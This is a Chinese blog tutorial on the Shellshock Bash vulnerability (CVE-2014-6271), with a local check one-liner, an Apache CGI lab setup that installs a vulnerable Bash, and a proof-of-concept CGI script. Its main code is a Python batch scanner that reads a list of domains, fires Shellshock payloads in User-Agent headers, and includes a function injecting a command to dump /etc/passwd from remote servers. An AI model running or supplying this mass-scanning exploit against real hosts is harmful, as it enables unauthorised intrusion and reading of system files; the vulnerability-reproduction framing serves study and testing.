Bash Shellshock(CVE-2014-6271)破壳漏洞测试
0x01 漏洞原理
Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
0x2 Bash破壳漏洞测试
2.1 本地测试语句:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
输出:
vulnerable
this is a test
说明有漏洞,否则就没有。
2.2 漏洞复现:
2.2.1 安装配置:
- Centos6 Apache2.2 CGI
yum install httpd
service iptables stop
httpd.conf配置
1、576行设置/var/www/cgi-bin目录的脚本别名是cgi-bin,
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
让这个目录下都支持cgi
2、582行修改Options
<Directory "/var/www/cgi-bin">
    AllowOverride None
    Options ExecCGI
    Order allow,deny
    Allow from all
</Directory>
3、796行添加访问后缀,当其被访问能被解析
AddHandler cgi-script .cgi .pl .sh
4、200行需要有cgi模块
LoadModule cgi_module modules/mod_cgi.so
POC.cgi放置到cgi-bin,具体内容如下:
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
2.2.1 Bash配置:
下载Bash之后,因为apache默认调用的是/bin/bash,没有漏洞。所以要通过软链接调用存在漏洞的Bash
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure
$ make & make install
$ ln -s /usr/local/bin/bash /bin/bash
2.2 批量测试
# -*- coding:utf8 -*-
import urllib.parse
import urllib.request
import ssl
import re
import sys
from socket import timeout
import http.client    #修改引用的模块
import os
domain_list = []
result = []
#读取文件函数
def read_file(file_path):
    # 判断文件路径是否存在,如果不存在直接退出,否则读取文件内容
    if not os.path.exists(file_path):
        print('Please confirm correct filepath ! ')
        sys.exit(0)
    else:
        with open(file_path, 'r') as source:
            for line in source:
                domain_list.append(line.rstrip('\r\n').rstrip('\n'))
def bash_exp(url):
    hostname, urlpath = urllib.parse.urlsplit(url)[1:3]
    try:
        conn = http.client.HTTPConnection(hostname, timeout=20)
        headers = {"User-Agent": '() { :;}; echo vulnerable /bin/bash -c "echo this is a test"'}
        conn.request("GET", urlpath, headers=headers)
        res = conn.getresponse()
        if res and res.status == 500:
            print("{host} : discover Vulnerable! ".format(host=hostname))
            result.append(hostname)
        else:
            print("{host} :No Bash Vulnerable! ".format(host=hostname))
    #except Exception, e:
    except Exception as e:
        print("{host} is {err}".format(host=hostname,err=e))
def cat_passwd(hostname, urlpath):
    print("cat /etc/passwd :")
    conn3 = http.client.HTTPConnection(hostname, timeout=20)
    headers3 = {"User-Agent": "() { :;}; echo `/bin/cat /etc/passwd`"}
    conn3.request("GET", urlpath, headers=headers3)
    res3 = conn3.getresponse()
    res = res3.getheaders()
    for passwdstr in res:
        print(passwdstr[0] + ':' + passwdstr[1])
if __name__ == '__main__':
    read_file(os.getcwd()+"//attck.txt")
    for domain in domain_list:
        test_url = ("http://{domain}/cgi-mod/index.cgi").format(domain=domain)
        bash_exp(test_url)
    for ret in result:
        with open("result.txt","a+") as file:
            file.write(ret)
2.3 参考
https://www.linode.com/docs/web-servers/apache/run-php-cgi-apache-centos-6/
https://www.freebuf.com/news/48331.html
https://blog.csdn.net/yaofeino1/article/details/55211993
https://www.cyberciti.biz/faq/how-do-i-check-my-bash-version/
Bash Shellshock(CVE-2014-6271)破壳漏洞测试的更多相关文章
- CVE-2014-6271 Shellshock 破壳漏洞 复现
		补坑. 什么是shellshock ShellShock是一个BashShell漏洞(据说不仅仅是Bash,其他shell也可能有这个漏洞). 一般情况来说,系统里面的Shell是有严格的权限控制的, ... 
- Shellshock 破壳漏洞 Writeup
		破壳漏洞 CVE编号:CVE-2014-6271 题目URL:http://www.whalwl.site:8029/ 提示:flag在服务器根目录 ShellShock (CVE-2014-6271 ... 
- 破壳漏洞利用payload—shellshock in the wild
		FireEye关于破壳漏洞(shellshock)在现实中的利用有一篇文章: shellshock in the wild 原文较长,进行了对CGI利用的详细分析,笔者比较感兴趣的是Shellshoc ... 
- 对CVE-2014-6271 [破壳漏洞] 的一次不太深入的跟踪
		@firtst:有些事,该你遇到的始终会遇到!2013年,Struts2远程代码执行漏洞闹的满城风雨时,当时还对此一无所知:2014年4月,HeartBleed掀起波涛汹涌时,较快对此予以关注,晚上跑 ... 
- Bash ShellShock 解决办法
		2014 年 9 月 24 日,Bash 惊爆严重安全漏洞,编号为 CVE-2014-6271,该漏洞将导致远程攻击者在受影响的系统上执行任意代码.GNU Bash 是一个为 GNU 计划编写的 Un ... 
- SPF邮件伪造漏洞测试脚本
		测试脚本: # -*- coding: utf-8 -*- import socket,select,base64,os,re,time,datetime class mail: def __init ... 
- CSRF 漏洞测试
		CSRF简介: CSRF中文名:跨站请求伪造,英文译为:Cross-site request forgery,CSRF攻击就是attacker(攻击者)利用victim(受害者)尚未失效的身份认证信息 ... 
- kali上部署dvwa漏洞测试平台
		kali上部署dvwa漏洞测试平台 一.获取dvwa安装包并解压 二.赋予dvwa文件夹相应权限 三.配置Mysql数据库 四.启动apache2和mysql服务 五.在网页配置dvwa 六.登陆到D ... 
- MS14-064 漏洞测试入侵——20145301
		MS14-064 漏洞测试入侵 Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术 执行摘要 此安全更新可解决 Microsof ... 
随机推荐
- 使用pyinstaller打包使用scrapy模块的程序运行时出现No such file or directory的问题解决
			解决的方案是利用pyinstaller的hook特性,步骤如下: 1.在项目目录新建hooks目录,目录中新建hooks-scrapy.py 文件,文件内容如下: from PyInstaller.u ... 
- Nginx的简单了解与使用
			一.产生背景 我们日常生活中经常遇到的问题 这是几年前的12306,现在的12306基本上不会出现这样的问题了 上述场景产生的主要 2 大原因:1.巨大流量2.单台服务器资源和能力有限在海量并发的环境 ... 
- input 设置 display:none后 jquery无法给input赋值
			问题出现场景:为什么要用 jquery给input赋值,为什么input带有display:none 在做字典查询的时候,查询参数有字典类型的treeSelect 下拉框,treeSelect渲染后, ... 
- java后台表单字符串长度验证
			1.方法封装前提实体类属性去除首尾空白并进行反转义 //实体类属性的get方法 public String getContent() { if(!"".equals(字符串属性名) ... 
- 设置easyUI-dialog窗口居中显示
			默认情况下应该是在屏幕居中显示的.但是有的时候没有居中只要重新纠正下就可以了 $('#add_dialog').dialog('open'); //打开添加对话框 $('#add_dialog').w ... 
- 多次读取HttpServletRequest的inputstream方法 问题解决
			原因:我要收集所有来自前台请求的参数信息,无论在任何地方的.当前请求参数都是json格式,都写在httpservlet的body中.这个只能通过流进行获取.然后问题来了,HttpServletRequ ... 
- Vue引入非npm的js库
			Vue引入非npm的js库 Vue项目有时候需要一些没有export的js库,不能通过import引入,那么使用方法如下 1.可以在index.html页面使用script标签引入,当然也可以使用cd ... 
- CKEditor5 输入文字时拼音和汉字同时输入问题
			在使用 CKEditor5 + vue 时,出现输入文字时,拼音和文字一起输入到编辑器到问题.与之前项目中使用 ckeditor 的区别是,这次项目是在 python 架构下局部引入 ckeditor ... 
- bzoj 1996
			区间 dp $f[i][j][1/0]$ 表示将理想数列的 $[i,j]$ 区间排好的方案数 $f[i][j][1]$ 表示最后进去的是第 $i$ 个人 $f[i][j][0]$ 表示最后进去的是第 ... 
- LibreOJ #113. 最大异或和
			二次联通门 : LibreOJ #113. 最大异或和 /* LibreOJ #113. 最大异或和 线性基 插入 与 查询最大值 说一下我在学习线性基时遇到的一些问题 1.线性基指的是一个数集 2. ... 
